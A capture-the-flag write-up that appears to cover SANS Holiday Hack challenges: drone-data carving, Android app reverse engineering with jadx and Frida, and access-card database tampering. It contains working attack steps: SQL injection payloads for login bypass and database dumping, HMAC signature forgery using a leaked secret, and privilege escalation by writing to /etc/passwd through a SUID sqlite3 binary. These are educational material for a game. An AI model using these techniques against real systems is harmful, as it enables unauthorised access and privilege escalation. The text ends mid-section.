Drone Path

Difficulty: ❄ ❄ ❄ ❄ ❄
Help the elf defecting from Team Wombley get invaluable, top secret intel to Team Alabaster. Find Chimney Scissorsticks, who is hiding inside the DMZ.

Silver trophy

fritjolf-Path.kml

As a first thing I downloaded the file fritjolf-Path.kml and imported it in Google Earth obtaining a nice picture but no useful clue:

Bypassing the login and dumping the DB

I successfully bypassed the login with the most classic of the SQL Injections ' OR 1=1 --:

The same flaw works on the search function of the Elf Drone Workshop:

Testing with UNION, I determined the correct number of columns and extracted the DB version with ' UNION SELECT sqlite_version(),2,3 --:

I then extracted the DB schema using 'UNION SELECT sql,2,3 FROM sqlite_master--:

1
2
3
4
CREATE TABLE drone_comments(id INTEGER PRIMARY KEY AUTOINCREMENT, drone_name TEXT, comment TEXT, FOREIGN KEY(drone_name) REFERENCES drones(name))
CREATE TABLE drones(name TEXT PRIMARY KEY, quantitiy TEXT, weapons TEXT)
CREATE TABLE sqlite_sequence(name,seq)
CREATE TABLE users(username TEXT PRIMARY KEY, avatar TEXT, bio TEXT, password TEXT)

Finally I dumped the DB:

  • 'UNION SELECT*FROM drones--
    name quantitiy weapons
    ELF-HAWK 40 Snowball-launcher
    FlyingZoomer 4 Snowball-Dropper
    Pigeon-Lookalike-v4 20 Surveillance Camera
    Zapper 5 CarrotSpike
  • 'UNION SELECT*FROM drone_comments--
    id drone_name comment
    1032 ELF-HAWK These drones will work great to find Alabasters snowball warehouses.
    I have hid the activation code in the dataset ELF-HAWK-dump.csv. We need to keep it safe, for now it’s under /files/secret.
    1036 ELF-HAWK We need to make sure we have enough of these drones ready for the upcoming operation.
    Well done on hiding the activation code in the dataset.
    If anyone finds it, it will take them a LONG time or forever to carve the data out, preferably the LATTER.
    1033 Pigeon-Lookalike-v4 This is a great drone for surveillance, but we need to keep it out of the rain.
    1037 Pigeon-Lookalike-v4 I cant believe we are using pigeons for surveillance.
    If anyone finds out, there will most likely be a conspiracy theory about it.
    1038 Pigeon-Lookalike-v4 I heard a rumor that there is something fishing with some of the files.
    There was some talk about only TRUE carvers would find secrets and that FALSE ones would never find it.
    1034 FlyingZoomer This drone is perfect for dropping snowballs on unsuspecting targets.
    1035 Zapper This is sort of primitive, but it works!
  • 'UNION SELECT username,avatar,bio FROM users--
    username avatar bio
    brynne Brynne is the workshops master of drone aesthetics bedazzling every flying machine with shimmering gemstones and enchanted paints.
    She believes every drone deserves a touch of flair—because who says utility ca not be stylish?
    filo Filo insists the best drones are the ones that can sneak up on you which is why he specializes in crafting silent stealthy models.
    He is always got a mischievous grin especially when his latest creation flies circles around you before you notice!
    fritjolf Secret project is underway we need to produce as many as possible for Wombley.
    lira Liras light touch and nimble fingers can assemble a drone in the blink of an eye sometimes before you even realize she has started.
    She swears each one has a bit of her own magic which might explain why they always seem to hum a little tune.
    pip Pip is a master of drone delivery programming routes with such precision that packages arrive exactly on the second they are expected.
    He has a large collection of flags impressive!
    sprigg Sprigg loves nothing more than the hum of a well-oiled drone and the smell of enchanted gears.
    When he is not tinkering he is dreaming up new ways to make drones faster shinier and maybe even capable of brewing tea!
    tylwen Tylwen is the drone workshops resident perfectionist spending hours polishing every cog and checking each spell-infused circuit.
    She insists that drones can be practical and pristine and she wo not let one leave her station without a flawless gleam.

ELF-HAWK-dump.csv

The ELF-HAWK-dump.csv, of which I fixed the url to make it work in the above table, looks like a csv containing coordinates among the other stuff. Altering the fritjolf-Path.kml file to insert these data and didn’t do the trick but importing it into Google Earth shown that something was going on and MyGeodata] confirmed it:

After failing all attempts to make a sense out of these data, I eventually resorted to ChatGPT who suggested to use Folium. I wrote a quick python script leveraging on Folium:

1
2
3
4
5
6
7
8
9
10
11
12
13
import folium

coords = []
with open("ELF-HAWK-dump.csv", "r") as file:
for line in file.read().split("\n")[1:-1]:
line_array = line.split(",")
y = float(line_array[4])
x = float(line_array[5])
coords.append((x,y))

m = folium.Map()
folium.PolyLine(coords).add_to(m)
m.save("map.html")

That did the trick showing the data in a readable format:

DroneDataAnalystExpertMedal

The sentence was the answer and could be confirmed using it in the Admin console:

Gold trophy

For the gold trophy, I followed the hint from Pigeon-Lookalike-v4: There was some talk about only TRUE carvers would find secrets and that FALSE ones would never find it.
Down that path I used a python script to convert TRUE and FALSE values to 1s and 0s in ELF-HAWK-dump.csv :

1
2
3
4
5
6
7
8
9
10
11
12
13
outStr = ""
with open("ELF-HAWK-dump.csv", "r") as file:
for line in file.read().split("\n")[1:-1]:
for field in line.split(","):
if field == "TRUE":
outStr += "1"
elif field == "FALSE":
outStr += "0"

for i in range(0, len(outStr), 8):
char = outStr[i:i+8]
n = int(char, 2)
print (n.to_bytes((n.bit_length() + 7) // 8, 'big').decode(), end="")

…after fixing the header line I was then finally able to get the passphrase:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
(act2-dronepath) thedead@maccos act2-dronepath % python3 carver.py   
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::*::::::::::::::::::
:::::::::::::::::::::::::::::::-------------=--------::::::::::::::::::::::::::::::::::::
::::::::::::::::::::::------------------------===-=======--=-::::::::::-:::::::::::::::::
::::::::::::::::::::------------:------------=-====================---:::::::::=+::::::::
:::::::::::::::::------------------------------=====================-------::::::::::::::
::::::::::::::-------------------------------------================:------:::::::::::::::
::::::::::::--------------------------------------==============-::--------:::::::::-::::
::::::::::::-------:--------@+:::::::::--=@--------:===========-::-::----==---:::::::::::
::::-------:::::----------@---::::::---+-==+@--------=========-:--:------=====---::::::::
::::--------::::::-------#--------------=-+@------------===------::-----====--==---::::::
::::-------:-:::::::------@=@=++#+++++@@@@@=-----------------:::--------------==---::::::
::::----------::::=-#-:----**%@+++++++%@@=::::::---%@------:--------:--@-+::-------::::::
::::-----:----:::::::::::--::@@**%@--::::::::::::::--=+@------------@--:::::------@::::::
::::---+@::::::---+@:::::::::#@-@--:::::-:=*=-::-----=+*=*=--------@:--:::::::-----=:::::
::::@-:::-::::::-----=@:-:::@+@%---------------==-==+@@@@@=@------@---------:::::--==+%::
:::#:::::::::::-----=+*@:::%#@#-=---------===++*%@@+@=+*#-+*=@-----#====-----------**-%::
::@--::-:::--:---==++*@-:@=+@=+-@=*+++++++**@#%*@-##**-@##%=#%@@@@#*@###@=+**@*****@@@:::
:::@*=--++++++++**@@@@@@*#@-+%@*=*+****@@@+@***@%@@%%%@-%@*@@@@@@@@@@@@@@%%#%%%@@@@@%::::
:::@@@@@@@++#*####@@@@@@@==---====+##@*%=+@*@*%%@@@@@@@@@@@@@@@=--@+@@@@+@@@@@@@@@@-:::::
::::=*%%%%%%%%%%%@@%@@#@-#*+++++====@-++###@%@*@@@@+@@@@-**+--::::--@@%@%%@%%%%%@@@-:::::
::::---@@@@##@@@@@@@@@--+@%-#+#**+=+++**%@@@@@@@##%**%--:::::::--*----=*@@@@@@@*@@---::::
::::---@@***%%%%@@@@*@-=-+=@#=#%##***##@@@@@#@@*@%%==---:::::::::::----=+---------=--::::
::::----@+=%#@@@=@@-----##@+:-=%@@%##%@@@@@@@@@@@@*+=-----::::::::::::=+*-@:----===--::::
::::---------------------*@##=+@@%@==-+@@@@@@@@@@@-+=---------------===+**--=======-:::::
:::---------------:------%+#%@@@@@#%%%%@@@@#@@@@@@@-+======---------==***#@========-:::::
:::-%-%---------:---------*-*##%@@@@@@@@@@@@@@@@@--=@@-*===++++++++++***@*===++++++=-::::
:::--+---------=-------:-----#==#@%%%@@@@@*@%@@@----@+@@@=***@@@@***@@@@%===++++-++=-::::
:::--------------:::::--------------##-----@@--------@%@#@@%%%%@@@@@@#@=====+++++++=-::::
:::---------------::::::---------------------=====---@@##@@@@@@@@@@@#%#-=====+++++--:::::
:::---======-------------------------=----==========--*=@@%@++*@@%%%@@-======:----==-::::
:::---===============------------------===============-----#@@@@@-----===-::---=====-::::
:::--=============+===--------------===-==================--------======::----=======-:::
:::--================---::::-=======-======================+=====+====::------===+===-:::
:::--===================--:::::====================+====-:---==+++=::-----=======---=-:::
:::--========:===========------:=====================:::-----====:-----==========+===-:::
/ ___/ _ \| _ \| ____\ \ / / _ \| _ \| _ \ _____ ====:-----==========+===-:::
| | | | | | | | | _| \ \ /\ / / | | | |_) | | | | |_____| ====:-----==========+===-:::
| |__| |_| | |_| | |___ \ V V /| |_| | _ <| |_| | |_____| ====:-----==========+===-:::
\____\___/|____/|_____|__\_/\_/__\___/|_| \_\____/ _ _________ ______ _ ____
| ____\ \/ / _ \| ____| _ \_ _|_ _| | | | _ \| |/ / ____\ \ / / ___| / \ | _ \
| _| \ /| |_) | _| | |_) || | | | | | | | |_) | ' /| _| \ V / | / _ \ | |_) |
| |___ / \| __/| |___| _ < | | | | | |_| | _ <| . \| |___ | || |___ / ___ \| _ <
|_____/_/\_\_| __|_____|_|_\_\|_| __|_| \___/|_| \_\_|\_\_____| |_| \____/_/ \_\_| \_\
\ \ / / ____| _ \| \/ | ____| _ \ / \ | | ==========---======++++=+=--+++=-:::
\ \ / /| _| | |_) | |\/| | _| | | | |/ _ \ | | ==========---======++++=+=--+++=-:::
\ V / | |___| _ <| | | | |___| |_| / ___ \| |___ ==========---======++++=+=--+++=-:::
\_/ |_____|_| \_\_| |_|_____|____/_/ \_\_____|==========---======++++=+=--+++=-:::
::::--====+++=---++++++=+========------::::=-:---==============---======++++=+=--+++=-:::
::::--==+++++++==---+++++++++++========-----================++++==-========-++=++====-:::
:::::--====+++++-++--++++++++++=--------=-==============+++---------=====++=+++++::::::::
::::::::======+++=+++=+++++++++++++++=++++===========++++:-------=---=-=----:::::::::::::
::::::::::::::::--=-=======++=++++++++++++++============--------------:::::::::::::::::::
:::::::::::::::::::::::::::------===-==-===-==-----::-:::::::::::::::::::::::::::::::::::
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

All the tests gone wrong

  • I tried to plot only rows with at least one TRUE
  • I tried to plot based on each TRUE value…
  • I converted the 0s and 1s and wrote them as a binary file…
  • I tried to convert 0s and 1s to numbers and then plot it…

Thanks to @i81b4u

Thanks for showing me how much I was overthinking the gold trophy - “At least the Netherlands was not hit 😄”

Mobile Analysis

Difficulty: ❄ ❄ ❄ ❄ ❄
Help find who has been left out of the naughty AND nice list this Christmas. Please speak with Eve Snowshoes for more information.

Hints

Mobile Analysis Easy - Tools

From: Eve Snowshoes
Try using apktool or jadx

Mobile Analysis Easy - Missing

From: Eve Snowshoes
Maybe look for what names are included and work back from that?

Mobile Analysis Hard - Format

From: Eve Snowshoes
So yeah, have you heard about this new Android app format? Want to convert it to an APK file?

Mobile Analysis Hard - Encryption and Obfuscation

From: Eve Snowshoes
Obfuscated and encrypted? Hmph. Shame you can’t just run strings on the file.

Silver trophy

For the silver trophy, I opened the SantaSwipe.apk with jadx-gui. Using that we can see the main activity (com.northpole.santaswipe.MainActivity) is using a DB helper to obtain a SQLite DB:

1
2
3
4
5
6
7
protected void onCreate(Bundle savedInstanceState) {
// ... omissis ...
DatabaseHelper dbHelper = new DatabaseHelper(this);
SQLiteDatabase writableDatabase = dbHelper.getWritableDatabase();
Intrinsics.checkNotNullExpressionValue(writableDatabase, "getWritableDatabase(...)");
this.database = writableDatabase;
// ... omissis ...

Also in the method getNormalList() the SQL query looks off as it is excluding “Ellie”:

1
2
3
4
5
public final void getNormalList() {
// ... omissis ...
Cursor cursor = sQLiteDatabase.rawQuery("SELECT Item FROM NormalList WHERE Item NOT LIKE '%Ellie%'", null);
List items = new ArrayList();
// ... omissis ...

With Ellie actually being inserted in the DB by the DB Helper (com.northpole.santaswipe.DatabaseHelper), this is problably the kid being left out:

1
2
3
4
public void onCreate(SQLiteDatabase db) {
// ... omissis ...
db.execSQL("INSERT INTO NormalList (Item) VALUES ('Ellie, Alabama, USA');");
// ... omissis ...

And indeed “Ellie” was the solution for the Silver Trophy.

Gold Trophy

I downloaded SantaSwipeSecure.aab and followed the Mobile Analysis Hard - Format hint to convert it from the aab format back to an apk. Noticing it wasn’t being executed in the emulator, I went for the signed apk:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
(act2-Mobile Analysis) thedead@maccos SantaSwipeSecure % keytool -keystore SantaSwipeSecure.jks -genkey -alias SantaSwipeSecure -keyalg RSA
Enter keystore password:
Re-enter new password:
Enter the distinguished name. Provide a single dot (.) to leave a sub-component empty or press ENTER to use the default value in braces.
What is your first and last name?
[Unknown]:
What is the name of your organizational unit?
[Unknown]:
What is the name of your organization?
[Unknown]:
What is the name of your City or Locality?
[Unknown]:
What is the name of your State or Province?
[Unknown]:
What is the two-letter country code for this unit?
[Unknown]:
Is CN=Unknown, OU=Unknown, O=Unknown, L=Unknown, ST=Unknown, C=Unknown correct?
[no]: yes

Generating 3,072 bit RSA key pair and self-signed certificate (SHA384withRSA) with a validity of 90 days
for: CN=Unknown, OU=Unknown, O=Unknown, L=Unknown, ST=Unknown, C=Unknown

(act2-Mobile Analysis) thedead@maccos SantaSwipeSecure % bundletool build-apks --bundle=SantaSwipeSecure.aab --output=SantaSwipeSecure.apks --mode=universal --ks=SantaSwipeSecure.jks --ks-key-alias=SantaSwipeSecure --ks-pass=pass:password

(act2-Mobile Analysis) thedead@maccos SantaSwipeSecure % cp SantaSwipeSecure.apks SantaSwipeSecure.zip

Finally I was able to run universal.apk in an emulator and observe its contents with jadx-gui. As per the hints, it turned out to be encrypted, therefore exploring the files used in the Silver trophy only led to an encrypted string and to the decryptData method in com.northpole.santaswipe.DatabaseHelper:

1
2
3
4
5
6
7
8
public void onCreate(SQLiteDatabase db) {
Intrinsics.checkNotNullParameter(db, "db");
db.execSQL("CREATE TABLE IF NOT EXISTS NiceList (Item TEXT);");
db.execSQL("CREATE TABLE IF NOT EXISTS NaughtyList (Item TEXT);");
db.execSQL("CREATE TABLE IF NOT EXISTS NormalList (Item TEXT);");
db.execSQL(decryptData("IVrt+9Zct4oUePZeQqFwyhBix8cSCIxtsa+lJZkMNpNFBgoHeJlwp73l2oyEh1Y6AfqnfH7gcU9Yfov6u70cUA2/OwcxVt7Ubdn0UD2kImNsclEQ9M8PpnevBX3mXlW2QnH8+Q+SC7JaMUc9CIvxB2HYQG2JujQf6skpVaPAKGxfLqDj+2UyTAVLoeUlQjc18swZVtTQO7Zwe6sTCYlrw7GpFXCAuI6Ex29gfeVIeB7pK7M4kZGy3OIaFxfTdevCoTMwkoPvJuRupA6ybp36vmLLMXaAWsrDHRUbKfE6UKvGoC9d5vqmKeIO9elASuagxjBJ"));
insertInitialData(db);
}
1
2
3
4
5
6
7
8
9
10
11
12
private final String decryptData(String encryptedData) {
try {
Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding");
cipher.init(2, this.secretKeySpec, new GCMParameterSpec(128, this.iv));
byte[] doFinal = cipher.doFinal(Base64.decode(encryptedData, 0));
Intrinsics.checkNotNull(doFinal);
return new String(doFinal, Charsets.UTF_8);
} catch (Exception e) {
Log.e("DatabaseHelper", "Decryption failed: " + e.getMessage());
return null;
}
}

At that point I resorted to frida and RMS aiming to hook the decryptData method and decrypt the string:

1
2
3
4
thedead@maccos act2-Mobile Analysis % adb -s 127.0.0.1:6555 push frida-server-16.5.7-android-arm64 /tmp/frida-server
frida-server-16.5.7-android-arm64: 1 f... 251.9 MB/s (56549216 bytes in 0.214s)
genymotion:/# chmod +x /tmp/frida-server
genymotion:/# ./tmp/frida-server

I set up everything in RMS:

I then used Heap Search to manually call the decryptData method with the encrypted string seen above:


Decrypting the content resulted in the following SQL:

1
2
3
4
5
6
CREATE TRIGGER DeleteIfInsertedSpecificValue
AFTER INSERT ON NormalList
FOR EACH ROW
BEGIN
DELETE FROM NormalList WHERE Item = 'KGfb0vd4u/4EWMN0bp035hRjjpMiL4NQurjgHIQHNaRaDnIYbKQ9JusGaa1aAkGEVV8=';
END;

Finally, calling the decryptData method on this last string returned the answer to the challenge:

Showing that the kid being left out was poor Joshua, Birmingham, United Kingdom, with the flag being just the name Joshua.

Special Thanks

Thanks to @m0bilesecurity

I am not an expert on mobile security tools and he had the patience to help me through the real challenge which was the setup of the environment 😊
Once setup, his RMS basically made everything very easy.

Showcasing RMS

Just a quick video to showcase how RMS allowed all of this to be done in less than a minute :)

Everything that went wrong

I don’t know if it will be useful for others, but it’ll defintely be for me, so I better keep here notes on what went wrong during the process so if I’ll ever need it again I’ll save myself some headache.

Android Studio Emulator

The first place I looked for an emulator was Android Studio, but I was not able to setup frida on it.
I had to root the emulated device using rootAVD and succeded it follwing these instructions.
Despite the rooting, I still had the error adbd cannot run as root in production builds but I was able to get root once in the shell with su.
Frida instructions for Android accounts for this issue but I still got the following error when running frida-server:

I didn’t look like the only one with this problem but still I wasn’t able to solve it.

Genymotion

Once I gave up on the Android Studio Emulator, I went for Genymotion, as @m0bilesecurity suggested it should provide pre-rooted devices. It took me some clicking around to actually find such “free” pre-rooted device:

node version

When trying to install RMS I encountered the error No prebuilt binary

As pointed out by @m0bilesecurity that was an issue with my node version as frida does not have the prebuilt binaries for node.js v23.3.0.
I resorted to nvm to fix the version in the working folder to v22.11.0. Still I obviously got another error:
07_09_MobileAnalysis_nvmError.png
Not sure what the issue was as when I ran it again the day after it worked first shot:

arm64

Giving up on the local installation I restorted to a kali vm that already had node v20.18.0 and the installation there was as easy as:

1
2
pip3 install frida-tools --break-system-packages
npm install -g rms-runtime-mobile-security

On the other hand I am using a Macbook with Apple M3 cpu (or at least I’m trying to 😊) which is an arm64, thus my kali is a linux arm64 as well. Not that I crazily searched for it, but I didn’t find a version for such OS & architecture for Android Studio and Genymotion.

Port forwarding adb

The obvious idea was to run the emulated device and the adb server on the host, while using adb, frida and rms in the VM. To allow this setup to work I just had to forward the port of the adb using ssh:

1
2
3
4
5
6
7
8
9
10
thedead@maccos RMS-Runtime-Mobile-Security % ssh -R 5037:localhost:5037 root@192.168.180.129
┌──(root㉿mac-vikali)-[~]
└─# adb devices
List of devices attached
127.0.0.1:6555 device

┌──(root㉿mac-vikali)-[~]
└─# adb -s 127.0.0.1:6555 shell
genymotion:/# whoami
root

Hardware Hacking 101 - Part 2

Difficulty: ❄ ❄ ❄ ❄
Santa’s gone missing, and the only way to track him is by accessing the Wish List in his chest-modify the access_cards database to gain entry!

Hints

It’s In the Signature

From: Jewel Loggins
I seem to remember there being a handy HMAC generator included in CyberChef.

Hidden in Plain Sight

From: Jewel Loggins
It is so important to keep sensitive data like passwords secure. Often times, when typing passwords into a CLI (Command Line Interface) they get added to log files and other easy to access locations. It makes it trivial to step back in history and identify the password.

Silver trophy

The Santa's Little Helper - Access Card Maintenance Tool needs a password to modify the cards:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
--------------------------------------------------------
___ _ _ _
/ __| | | | || |
\__ \ | |__ | __ |
|___/ |____| |_||_|
_|"""""|_|"""""|_|"""""|
"`-0-0-'"`-0-0-'"`-0-0-'
--------------------------------------------------------
Santa's Little Helper - Access Card Maintenance Tool

Tool Name: slh

options:
-h, --help show this help message and exit
--view-config View current configuration.
--view-cards View current values of all access cards.
--view-card ID View a single access card by ID.
--set-access ACCESS_LEVEL
Set access level of access card. Must be 0 (No Access) or 1 (Full Access).
--id ID ID of card to modify.
--passcode PASSCODE Passcode to make changes.
--new-card Generate a new card ID.
--------------------------------------------------------
1
2
3
4
5
slh@slhconsole\> slh --view-card 42
Details of card with ID: 42
(42, 'c06018b6-5e80-4395-ab71-ae5124560189', 0, 'ecb9de15a057305e5887502d46d434c9394f5ed7ef1a51d2930ad786b02f6ffd')
slh@slhconsole\> slh --set-access 1 --id 42
Invalid passcode. Access not granted.

After a little bit of poking I could find the password in the history:

1
2
3
4
slh@slhconsole\> history | grep slh
9 slh --help
11 slh --passcode CandyCaneCrunch77 --set-access 1 --id 143
31 history | grep slh

Changing its access level granted the Silver trophy:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
slh@slhconsole\> slh --passcode CandyCaneCrunch77 --set-access 1 --id 42

* * * * * * * * * * *
* *
* ❄ ❄ ❄ ❄ ❄ ❄ ❄ ❄ ❄ ❄ ❄ ❄ ❄ *
* $$$$$$\ $$$$$$\ $$$$$$\ $$$$$$$$\ $$$$$$\ $$$$$$\ *
* $$ __$$\ $$ __$$\ $$ __$$\ $$ _____|$$ __$$\ $$ __$$\ *
*$$ / $$ |$$ / \__|$$ / \__|$$ | $$ / \__|$$ / \__| *
$$$$$$$$ |$$ | $$ | $$$$$\ \$$$$$$\ \$$$$$$\
*$$ __$$ |$$ | $$ | $$ __| \____$$\ \____$$\ *
* $$ | $$ |$$ | $$\ $$ | $$\ $$ | $$\ $$ |$$\ $$ | *
* $$ | $$ |\$$$$$$ |\$$$$$$ |$$$$$$$$\ \$$$$$$ |\$$$$$$ | *
* \__| \__| \______/ \______/ \________| \______/ \______/ *
* * ❄ ❄ * ❄ ❄ ❄ *
* * * * * * * * * *
* $$$$$$\ $$$$$$$\ $$$$$$\ $$\ $$\ $$$$$$$$\ $$$$$$$$\ $$$$$$$\ $$\ *
* $$ __$$\ $$ __$$\ $$ __$$\ $$$\ $$ |\__$$ __|$$ _____|$$ __$$\ $$ | *
* $$ / \__|$$ | $$ |$$ / $$ |$$$$\ $$ | $$ | $$ | $$ | $$ |$$ |*
* $$ |$$$$\ $$$$$$$ |$$$$$$$$ |$$ $$\$$ | $$ | $$$$$\ $$ | $$ |$$ | *
* $$ |\_$$ |$$ __$$< $$ __$$ |$$ \$$$$ | $$ | $$ __| $$ | $$ |\__|*
* $$ | $$ |$$ | $$ |$$ | $$ |$$ |\$$$ | $$ | $$ | $$ | $$ | *
* \$$$$$$ |$$ | $$ |$$ | $$ |$$ | \$$ | $$ | $$$$$$$$\ $$$$$$$ |$$\ *
* \______/ \__| \__|\__| \__|\__| \__| \__| \________|\_______/ \__| *
* ❄ ❄ ❄ *
* * * * * * * * * * * * * * *

Card 42 granted access level 1.

Gold Trophy

For the Gold trophy, I followed the hint by Jewel again: “There’s a tougher route if you’re up for the challenge to earn the Gold medal. It involves directly modifying the database and generating your own HMAC signature.”.
Looking at the files, I found access_cards being a SQLite DB:

1
2
3
4
slh@slhconsole\> ls   
access_cards
slh@slhconsole\> file access_cards
access_cards: SQLite 3.x database, last written using SQLite version 3040001, file counter 4, database pages 32, cookie 0x2, schema 4, UTF-8, version-valid-for 4

Inspecting its contents I found the config table containing the HMAC secret and the expected format:

1
2
3
4
5
6
7
8
9
10
slh@slhconsole\> sqlite3 access_cards 
SQLite version 3.40.1 2022-12-28 14:03:47
Enter ".help" for usage hints.
sqlite> .tables
access_cards config
sqlite> SELECT * FROM config;
1|hmac_secret|9ed1515819dec61fd361d5fdabb57f41ecce1a5fe1fe263b98c0d6943b9b232e
2|hmac_message_format|{access}{uuid}
3|admin_password|3a40ae3f3fd57b2a4513cca783609589dbe51ce5e69739a33141c5717c20c9c1
4|app_version|1.0

A very quick python script later, I got the signature:

1
2
3
4
5
6
import hmac
import hashlib
secret_key = b"9ed1515819dec61fd361d5fdabb57f41ecce1a5fe1fe263b98c0d6943b9b232e"
access_uuid = b"1c06018b6-5e80-4395-ab71-ae5124560189"
signature = hmac.new(secret_key, access_uuid, hashlib.sha256).hexdigest()
print("signature = {0}".format(signature))
1
2
(env) thedead@maccos act1-hardware-hacking % python3 generateSignature.py 
signature = 135a32d5026c5628b1753e6c67015c0f04e26051ef7391c2552de2816b1b7096

Updating the SQLite DB accordingly, got me the Gold:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
slh@slhconsole\> sqlite3 access_cards 'UPDATE access_cards SET access = 1, sig = "135a32d5026c5628b1753e6c67015c0f04e26051ef7391c2552de2816b1b7096" WHERE id = 42;'
* * * * * * * * * * *
* *
* ❄ ❄ ❄ ❄ ❄ ❄ ❄ ❄ ❄ ❄ ❄ ❄ ❄ *
* $$$$$$\ $$$$$$\ $$$$$$\ $$$$$$$$\ $$$$$$\ $$$$$$\ *
* $$ __$$\ $$ __$$\ $$ __$$\ $$ _____|$$ __$$\ $$ __$$\ *
*$$ / $$ |$$ / \__|$$ / \__|$$ | $$ / \__|$$ / \__| *
$$$$$$$$ |$$ | $$ | $$$$$\ \$$$$$$\ \$$$$$$\
*$$ __$$ |$$ | $$ | $$ __| \____$$\ \____$$\ *
* $$ | $$ |$$ | $$\ $$ | $$\ $$ | $$\ $$ |$$\ $$ | *
* $$ | $$ |\$$$$$$ |\$$$$$$ |$$$$$$$$\ \$$$$$$ |\$$$$$$ | *
* \__| \__| \______/ \______/ \________| \______/ \______/ *
* * ❄ ❄ * ❄ ❄ ❄ *
* * * * * * * * * *
* $$$$$$\ $$$$$$$\ $$$$$$\ $$\ $$\ $$$$$$$$\ $$$$$$$$\ $$$$$$$\ $$\ *
* $$ __$$\ $$ __$$\ $$ __$$\ $$$\ $$ |\__$$ __|$$ _____|$$ __$$\ $$ | *
* $$ / \__|$$ | $$ |$$ / $$ |$$$$\ $$ | $$ | $$ | $$ | $$ |$$ |*
* $$ |$$$$\ $$$$$$$ |$$$$$$$$ |$$ $$\$$ | $$ | $$$$$\ $$ | $$ |$$ | *
* $$ |\_$$ |$$ __$$< $$ __$$ |$$ \$$$$ | $$ | $$ __| $$ | $$ |\__|*
* $$ | $$ |$$ | $$ |$$ | $$ |$$ |\$$$ | $$ | $$ | $$ | $$ | *
* \$$$$$$ |$$ | $$ |$$ | $$ |$$ | \$$ | $$ | $$$$$$$$\ $$$$$$$ |$$\ *
* \______/ \__| \__|\__| \__|\__| \__| \__| \________|\_______/ \__| *
* ❄ ❄ ❄ *
* * * * * * * * * * * * * * *

Funsies

I have no name!@slhconsole\>

It took me some time to realize I just had to use the already available hmac_secret and I eventually found the file entrypoint.sh:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
slh@slhconsole\> cat /entrypoint.sh 
#!/bin/bash

# Run the HMAC checking as root
/root/check_hmac &

# Get the PID of the background process if needed
HMAC_PID=$!

# Switch to the slh user to run the main application
su -c "/usr/bin/main" slh

# Optionally wait for the background process (HMAC checking script)
wait $HMAC_PID

This file was referring to /root/check_hmac but I didn’t have the rights to access it:

1
2
slh@slhconsole\> file /root/check_hmac
/root/check_hmac: cannot open `/root/check_hmac' (Permission denied)

So I went after suid executables and found the sqlite executable:

1
2
3
4
5
6
7
8
9
10
11
slh@slhconsole\> find / -perm -4000 -print 2>/dev/null
/usr/bin/chsh
/usr/bin/umount
/usr/bin/su
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/mount
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/sqlite3
/usr/bin/slh

I then created myself a user and elevated privileges:

1
2
3
4
5
6
slh@slhconsole\> sqlite3 /dev/null -cmd ".output /etc/passwd" 'select "thedead::0:0:root:/root:/bin/bash";'
slh@slhconsole\> su thedead
bash: cannot set terminal process group (9): Inappropriate ioctl for device
bash: no job control in this shell
thedead@98d3ae5e5586:/home/slh# file /root/check_hmac
/root/check_hmac: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=4900f1057c817d78f6abf8c33793107b79dcd1a7, for GNU/Linux 2.6.32, stripped

Obviously, that led to nothing, but if I exited and restarted the terminal I got a nice user called I have no name!:

No route to hose

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
In:    elvenconsole@1e000c00
Out: elvenconsole@1e000c00
Err: elvenconsole@1e000c00
Net:
Warning: eth@1e100000 (eth0) using random MAC address - 5e:69:c8:f8:cf:5b
eth0: eth@1e100000
Hit any key to stop autoboot: 0
Reindeer_PCIE_SET: gpio[19]=1
Using eth@1e100000 device
TFTP from server 192.168.54.25; our IP address is 192.168.54.5
Filename 'magic_firmware.bin'.
Load address: 0x80010000
Loading: *
North Pole Retry count exceeded; starting again

=> ping 127.0.0.1
Not route to hose

Hardware Hacking 101 - Part 1

Difficulty: ❄ ❄ ❄ ❄
Jingle all the wires and connect to Santa’s Little Helper to reveal the merry secrets locked in his chest!

Hints

On the Cutting Edge

From: Morcel Nougat
Hey, I just caught wind of this neat way to piece back shredded paper! It’s a fancy heuristic detection technique-sharp as an elf’s wit, I tell ya! Got a sample Python script right here, courtesy of Arnydo. Check it out when you have a sec: heuristic_edge_detection.py.”

Shredded to Pieces

From: Jewel Loggins
Have you ever wondered how elves manage to dispose of their sensitive documents? Turns out, they use this fancy shredder that is quite the marvel of engineering. It slices, it dices, it makes the paper practically disintegrate into a thousand tiny pieces. Perhaps, just perhaps, we could reassemble the pieces?

Silver trophy

To get the silver trophy we need to connect the UART bridge following the manual and geting the right parameters.
To obtain the parameters we can reconstruct the “One Thousand Little Teeny Tiny Shredded Pieces of Paper” retrieved in the “Frosty Keypad” challenge using heuristic_edge_detection.py. The shreds.zip archive extracts the folder slices which is exactly the default input folder of heuristic_edge_detection.py, so it just needs to be ran:

1
(env) thedead@maccos act1-frosty-keypad % python3 heuristic_edge_detection.py

Reconstructing the image to assembled_image.png:

Quickly fixing the image leads to the parameters:

Having the information, we can wire up the UART bridge (remember to invert TX & RX), set the parameters and connect:

Gold trophy

Analyzing the main.js source code I noticed the function checkit was referring to an old API version:

1
2
3
4
5
6
7
8
9
10
